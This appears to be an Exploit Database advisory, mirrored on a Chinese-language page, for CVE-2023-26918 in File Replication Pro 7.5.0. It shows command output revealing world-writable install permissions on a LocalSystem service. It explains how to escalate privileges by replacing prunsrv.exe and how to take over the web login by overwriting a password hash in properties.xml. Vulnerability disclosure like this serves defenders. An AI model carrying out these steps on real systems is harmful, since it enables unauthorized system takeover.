File Replication Pro 7.5.0 – Privilege Escalation/Password reset due Incorrect Access Control

• Exploit Database
• 118 阅读

• 作者： Andrea Intilangelo
  日期： 2023-04-20
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51375/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

  # Exploit Title: File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control # Date: 2023-04-13 # Exploit Author: Andrea Intilangelo # Vendor Homepage: http://www.diasoft.net - https://www.filereplicationpro.com # Software Link: http://www.filereplicationpro.com/install/InstData/Windows_64_Bit/VM/frpro.exe # Version: 7.5.0 # Tested on: Windows 10 Pro 22H2 x64 # CVE: CVE-2023-26918   Incorrect file/folder permissions in Diasoft Corporation's File Replication Pro 7.5.0 allow privilege escalation by replacing a file with another one that will be executed with "LocalSystem" rights from Windows Services application.   C:\Program Files>icacls "c:\Program Files\FileReplicationPro" c:\Program Files\FileReplicationPro Everyone:(F) Everyone:(OI)(CI)(IO)(F)   C:\Users\Administrator>sc qc frp [SC] QueryServiceConfig OPERAZIONI RIUSCITE   NOME_SERVIZIO: frp TIPO: 10WIN32_OWN_PROCESS TIPO_AVVIO: 2 AUTO_START CONTROLLO_ERRORE: 1 NORMAL NOME_PERCORSO_BINARIO : "C:\Program Files\FileReplicationPro\prunsrv.exe" //RS//frp GRUPPO_ORDINE_CARICAMENTO : TAG : 0 NOME_VISUALIZZATO : FRPReplicationServer DIPENDENZE: Tcpip : Afd SERVICE_START_NAME : LocalSystem   To exploit the vulnerability a malicious actor/process must weaponize or replace the prunsrv.exe executable that runs with LocalSystem privileges as "frp" (FRPReplicationServer) service, since the application's path has "Everyone" full access permissions.   Moreover, the "properties.xml" file in the "etc" folder inside program's path contains the hashed password for remote access stored in sha1(base64) value, that is possible to modify. Replacing it with a new hash, generated by encrypting a string in SHA-1 and encoding its digest via base64, will grant the login access on the application's web interface.